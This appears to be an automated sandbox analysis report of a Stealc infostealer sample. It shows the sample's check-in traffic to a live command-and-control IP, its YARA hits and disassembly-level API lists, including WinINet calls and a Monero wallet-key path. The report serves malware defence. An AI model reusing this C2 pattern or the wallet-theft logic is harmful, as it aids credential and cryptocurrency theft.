Oct 14, 2024 01:00:20.069686890 CEST	49717	80	192.168.2.6	185.215.113.37
Oct 14, 2024 01:00:20.074434996 CEST	49717	80	192.168.2.6	185.215.113.37
Oct 14, 2024 01:00:20.079226971 CEST	80	49717	185.215.113.37	192.168.2.6
Oct 14, 2024 01:00:20.306560993 CEST	80	49717	185.215.113.37	192.168.2.6
Oct 14, 2024 01:00:20.306858063 CEST	49717	80	192.168.2.6	185.215.113.37
Oct 14, 2024 01:00:22.687580109 CEST	49717	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49717	185.215.113.37	80	5176	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 01:00:19.346755981 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 14, 2024 01:00:20.069622993 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 23:00:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 01:00:20.074434996 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 43 46 46 33 39 42 42 33 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="hwid"4ACFF39BB3583419705248------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="build"doma------JKECGHCFIJDAAKFHJJDH--
Oct 14, 2024 01:00:20.306560993 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 23:00:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	19:00:14
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xde0000
File size:	1'854'976 bytes
MD5 hash:	10F4BEB1C5F54BB1D754F56785E14563
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2214050807.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2254739103.0000000000838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00DF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00831650), ref: 00DF98A1
GetProcAddress.KERNEL32(76210000,00831638), ref: 00DF98BA
GetProcAddress.KERNEL32(76210000,00831668), ref: 00DF98D2
GetProcAddress.KERNEL32(76210000,00831698), ref: 00DF98EA
GetProcAddress.KERNEL32(76210000,00831728), ref: 00DF9903
GetProcAddress.KERNEL32(76210000,00838C48), ref: 00DF991B
GetProcAddress.KERNEL32(76210000,008250A8), ref: 00DF9933
GetProcAddress.KERNEL32(76210000,008250E8), ref: 00DF994C
GetProcAddress.KERNEL32(76210000,008316B0), ref: 00DF9964
GetProcAddress.KERNEL32(76210000,008316C8), ref: 00DF997C
GetProcAddress.KERNEL32(76210000,00831740), ref: 00DF9995
GetProcAddress.KERNEL32(76210000,00831758), ref: 00DF99AD
GetProcAddress.KERNEL32(76210000,00825068), ref: 00DF99C5
GetProcAddress.KERNEL32(76210000,008316E0), ref: 00DF99DE
GetProcAddress.KERNEL32(76210000,00831530), ref: 00DF99F6
GetProcAddress.KERNEL32(76210000,00824FE8), ref: 00DF9A0E
GetProcAddress.KERNEL32(76210000,00831518), ref: 00DF9A27
GetProcAddress.KERNEL32(76210000,00831548), ref: 00DF9A3F
GetProcAddress.KERNEL32(76210000,008252A8), ref: 00DF9A57
GetProcAddress.KERNEL32(76210000,00831800), ref: 00DF9A70
GetProcAddress.KERNEL32(76210000,00825168), ref: 00DF9A88
LoadLibraryA.KERNEL32(00831830,?,00DF6A00), ref: 00DF9A9A
LoadLibraryA.KERNEL32(00831848,?,00DF6A00), ref: 00DF9AAB
LoadLibraryA.KERNEL32(008317E8,?,00DF6A00), ref: 00DF9ABD
LoadLibraryA.KERNEL32(00831878,?,00DF6A00), ref: 00DF9ACF
LoadLibraryA.KERNEL32(00831890,?,00DF6A00), ref: 00DF9AE0
GetProcAddress.KERNEL32(75B30000,00831818), ref: 00DF9B02
GetProcAddress.KERNEL32(751E0000,00831860), ref: 00DF9B23
GetProcAddress.KERNEL32(751E0000,008318A8), ref: 00DF9B3B
GetProcAddress.KERNEL32(76910000,00838EC0), ref: 00DF9B5D
GetProcAddress.KERNEL32(75670000,008251A8), ref: 00DF9B7E
GetProcAddress.KERNEL32(77310000,00838B38), ref: 00DF9B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00DF9BB6

Strings

NtQueryInformationProcess, xrefs: 00DF9BAA

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 74c18b6175e6f11182105e6b46c787b9a5394cd1c292a64d3abbf846db61e25f
Instruction ID: 3ed7824e0451f198b87b7d0046de5d6d4ebe9940454edba671256a0ecf7e137f
Opcode Fuzzy Hash: 74c18b6175e6f11182105e6b46c787b9a5394cd1c292a64d3abbf846db61e25f
Instruction Fuzzy Hash: F5A13BB5700240DFD374DFA8EA88A6637F9F78C205724856AE686C3A4CDE7F9441CB64

Function 00DE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00DE460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00DE479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4622

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: c8472a44736e14bc2d0bc15c6720c7b32998b1383afead38275d4c0614e75252
Instruction ID: 1023729206cfa85cde442f608b2585d2a44882422b04f1f781fea129d7217589
Opcode Fuzzy Hash: c8472a44736e14bc2d0bc15c6720c7b32998b1383afead38275d4c0614e75252
Instruction Fuzzy Hash: 354106617C278CEBEE26FFAC8945E9E7656EF4270AF907144E912622C0CFB0B5804935

Function 00DE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00DE4915
StrCmpCA.SHLWAPI(?,00840B30), ref: 00DE493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00E00DDB,00000000,?,?,00000000,?,",00000000,?,00840BF0), ref: 00DE4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00DE4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00DE4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00DE4E49
InternetCloseHandle.WININET(00000000), ref: 00DE4EAD
InternetCloseHandle.WININET(00000000), ref: 00DE4EC5
HttpOpenRequestA.WININET(00000000,00840C10,?,00840030,00000000,00000000,00400100,00000000), ref: 00DE4B15

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

InternetCloseHandle.WININET(00000000), ref: 00DE4ECF

Strings

", xrefs: 00DE4BF2
------, xrefs: 00DE4C69
------, xrefs: 00DE49BD
------, xrefs: 00DE4B28
", xrefs: 00DE4D33

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: dd1e98a7393cf4c319b00c5bb5643410a06635b631a93a2f378366135ddc0e96
Instruction ID: 8091c23c60feb5a8c3bac10016096318978e3986fe67815c1896da0bb4d100cd
Opcode Fuzzy Hash: dd1e98a7393cf4c319b00c5bb5643410a06635b631a93a2f378366135ddc0e96
Instruction Fuzzy Hash: 7212DCB191021CAADB15EB94DC92FEEB378EF54340F5581A9B20A66091DFB02F49CF71

Function 00DF78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7910
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00DF792F

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8774e9a496f538e34786d0abcabb9a4b8315b0d4a9b0aed41818d54162bf0e15
Instruction ID: b480fa98abc5c20da14bbe751e36b7d0fa4a2222d3c9910be5d0655ce6ad7f0d
Opcode Fuzzy Hash: 8774e9a496f538e34786d0abcabb9a4b8315b0d4a9b0aed41818d54162bf0e15
Instruction Fuzzy Hash: 5C01A9B1A04209EFC710DF94DD45FAEBBB8F704B21F11421AFA45E3680C7B959048BB1

Function 00DF7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00DE11B7), ref: 00DF7880
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DF789F

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 35021d94ae6670de6d0072cd76d4e37a19e15e8c162c8b6560afe1229451376a
Instruction ID: 5a448d23c658373e77c34eb349424558cb154523492d71a329491e973fe496e7
Opcode Fuzzy Hash: 35021d94ae6670de6d0072cd76d4e37a19e15e8c162c8b6560afe1229451376a
Instruction Fuzzy Hash: AFF04FB1E44208EFC724DF98D949FAEBBB8FB04721F10065AFA45A3680C7B955048BA1

Function 00DE1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00DE116A
ExitProcess.KERNEL32 ref: 00DE117E

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
